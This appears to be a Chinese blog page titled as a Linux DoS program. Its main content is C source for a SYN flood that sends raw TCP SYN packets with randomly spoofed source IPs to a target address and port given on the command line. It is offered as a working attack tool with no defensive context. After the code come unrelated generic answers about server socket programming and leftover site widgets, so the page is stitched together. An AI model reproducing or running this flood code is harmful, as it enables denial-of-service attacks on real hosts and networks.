linux端dos程序

 

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#define LOCALPORT 8888 //本机发起攻击端口

void send_tcp(int sockfd,struct sockaddr_in *addr);

int main(int argc,char *argv[])
{
	int sockfd; //定义一个描述符
	int port;
	struct sockaddr_in addr;
	int on; //on是在setsockopt函数中允许自己填充ip栈,也可以是布尔类型
	on = 1;
	if(argc != 3){ //判断参数个数
		fprintf(stderr,"Usage:%s IP PORT\n\a",argv[0]);
		exit(1);
	}
	
	port = atoi(argv[2]);
	if(port<1 || port>65535){
		fprintf(stderr,"%s error, PORT:[0-65535]\n\a",argv[2]);
		exit(1);
	}
	
	
	bzero(&addr,sizeof(struct sockaddr_in));//清空自己建的结构体
	
	addr.sin_family = AF_INET;//internet
	addr.sin_port = htons(port);//设置端口
	inet_aton(argv[1],&addr.sin_addr);//IP转换
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);//创建socket套接字
	if(sockfd<0){
		perror("socket Error");
		exit(1);
	}
	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));//设置ip协议栈,告诉内核,老子要自己写数据包
	setuid(getuid());//要求超级用户
	send_tcp(sockfd,&addr);//填充—+攻击
	return 0;
}

void send_tcp(int sockfd,struct sockaddr_in *addr)
{
	char buffer[100];//用于存放数据包
	struct ip *ip;
	struct tcphdr *tcp;
	int head_len,t;
	head_len = sizeof(struct ip) + sizeof(struct tcphdr);//计算ip+tcp包长度
	bzero(buffer,100);
	
	ip = (struct ip *)buffer;
	ip->ip_v = IPVERSION;//一般版本为4
	ip->ip_hl = sizeof(struct ip)>>2;//除去版本号的IP头部长度
	ip->ip_tos = 0;
	ip->ip_len = htons(head_len);
	ip->ip_id = 0;
	ip->ip_off = 0;
	ip->ip_ttl = 64;
	ip->ip_p = IPPROTO_TCP;//发送tcp包
	ip->ip_sum = 0;//校验和,系统自己填充
	ip->ip_dst = addr->sin_addr;//攻击的目标IP
	printf("dest address is %s\n",inet_ntoa(addr->sin_addr));
	
	tcp = (struct tcphdr *)(buffer+sizeof(struct ip));
	tcp->source = htons(LOCALPORT);
	tcp->dest = addr->sin_port;
	tcp->seq = random();//随机数函数
	tcp->ack_seq = 0;
	tcp->doff = 5;
	tcp->syn = 1;
	tcp->check = 0;
	
	for(t=0;t<5;t++){
		ip->ip_src.s_addr=random();
		//inet_aton(random(),&ip->ip_src.s_addr);
		printf("My addr is %d !\n",ip->ip_src.s_addr);
		sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr));
	}
}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Linux 服务器网络收发程序可以使用各种编程语言编写, 常见的有 C/C++, Python, Java 等. 例如, 使用 C 语言编写的常用网络库有 libevent, libev, libuv 等; 使用 Python 编写的常用网络库有 Twisted, asyncio 等. ### 回答2: Linux服务器网络收发程序是指在Linux操作系统上运行的一种网络应用程序,用于实现服务器与客户之间的数据传输和通信。它通常使用TCP/IP协议栈作为底层网络通信协议。 Linux服务器网络收发程序的主要功能包括监听指定的网络口,接收客户的连接请求,以及处理和回复客户发送的数据。 首先,服务器程序通常会使用socket创建一个套接字,并通过bind函数将套接字绑定到指定的IP地址和口上。然后,使用listen函数进入监听状态,等待客户的连接请求。 当有客户连接时,服务器程序会调用accept函数接受连接请求,并创建一个新的套接字来处理与该客户的通信。通过recv函数可以从客户接收数据,并使用send函数将响应数据发送给客户。 在多线程或多进程的服务器程序中,为了支持同时处理多个客户连接,通常会使用多个线程或进程来处理不同的客户请求,并对套接字进行合理的资源管理。 在服务器的网络收发程序中,还可以实现一些高级的功能,例如基于事件驱动的异步IO模型,可以提高程序的性能和并发处理能力。 此外,为了保证服务器程序的稳定性和安全性,还需要考虑一些网络编程中的常见问题,如对数据包进行解析和校验、防止拒绝服务攻击、实现访问控制等。 总之,Linux服务器网络收发程序是一种基于Linux操作系统的网络应用程序,能够实现服务器与客户之间的数据传输和通信,并提供一系列的功能来支持并发处理和保障数据安全。 ### 回答3: Linux服务器的网络收发程序是指在Linux操作系统上运行的一种程序,其主要功能是通过网络进行数据的传输和接收。 在服务器,我们可以使用C语言或者其他编程语言编写网络收发程序。其中常用的技术包括套接字(Socket)、TCP/IP协议和网络编程等。 首先,我们需要创建一个服务器的套接字,通过指定IP地址和口号来绑定服务器。服务器套接字用于监听客户的连接请求,并在有连接请求时进行响应。 一旦有客户连接到服务器,服务器可以通过accept()函数接受连接,并创建一个新的套接字用于处理与该客户的通信。服务器可以使用recv()函数接收客户发送的数据,使用send()函数向客户发送数据。 服务器网络收发程序也可以使用多线程或者多进程的方式实现并发处理多个客户的连接请求。通过创建多个子进程或子线程,每个子进程或子线程负责处理一个客户的连接请求,实现并发处理。 此外,服务器网络收发程序还可以通过使用select()函数实现多路复用,从而监控多个套接字的状态,实现同时接收多个客户的数据。 对于网络收发程序的具体实现,我们还需要考虑异常处理、数据包的拆分和重组、粘包问题以及网络安全等方面的内容。 总而言之,Linux服务器网络收发程序是一种基于套接字的程序,通过监听和接受客户的连接请求,并实现数据的收发,以实现服务器和客户之间的网络通信。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值